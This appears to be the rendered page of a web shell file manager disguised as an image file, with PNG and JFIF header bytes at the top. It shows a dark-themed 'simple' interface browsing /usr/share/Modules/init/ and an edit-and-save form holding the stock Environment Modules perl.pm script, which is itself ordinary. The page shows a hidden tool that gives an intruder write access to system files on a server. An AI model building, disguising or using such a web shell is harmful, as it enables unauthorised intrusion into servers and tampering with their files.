�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fshare%2F'>share</a>/<a href='?path=%2Fusr%2Fshare%2FModules%2F'>Modules</a>/<a href='?path=%2Fusr%2Fshare%2FModules%2Finit%2F'>init</a>/</p><hr><h3>✏️ Editing: perl.pm</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'># define modules runtine quarantine configuration
$ENV{'MODULES_RUN_QUARANTINE'} = 'LD_LIBRARY_PATH LD_PRELOAD';

# setup quarantine if defined
my $_mlre = '';
if (defined $ENV{'MODULES_RUN_QUARANTINE'}) {
  foreach my $_mlv (split(' ', $ENV{'MODULES_RUN_QUARANTINE'})) {
     if ($_mlv =~ /^[A-Za-z_][A-Za-z0-9_]*$/) {
        if (defined $ENV{$_mlv}) {
           $_mlre .= &quot;${_mlv}_modquar='$ENV{$_mlv}' &quot;;
        }
        my $_mlrv = &quot;MODULES_RUNENV_$_mlv&quot;;
        $_mlre .= &quot;$_mlv='$ENV{$_mlrv}' &quot;;
    }
  }
  if ($_mlre ne &quot;&quot;) {
     $_mlre = &quot;env $_mlre&quot;;
  }
}

eval `${_mlre}/usr/bin/tclsh /usr/share/Modules/libexec/modulecmd.tcl perl autoinit`;

# clean temp variable used to setup quarantine
undef $_mlre;

# redefine module command if compat version has been activated
if ($ENV{'MODULES_USE_COMPAT_VERSION'} eq '1') {
   $ENV{'MODULES_CMD'} = '/usr/share/Modules/libexec/modulecmd-compat';
   { no warnings 'redefine';
      *module = sub {
         eval `/usr/share/Modules/libexec/modulecmd-compat perl @_`;
         # return value as done on new main version
         return 1;
      };
   }
}

1;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fshare%2FModules%2Finit'>🔙 Back</a></p>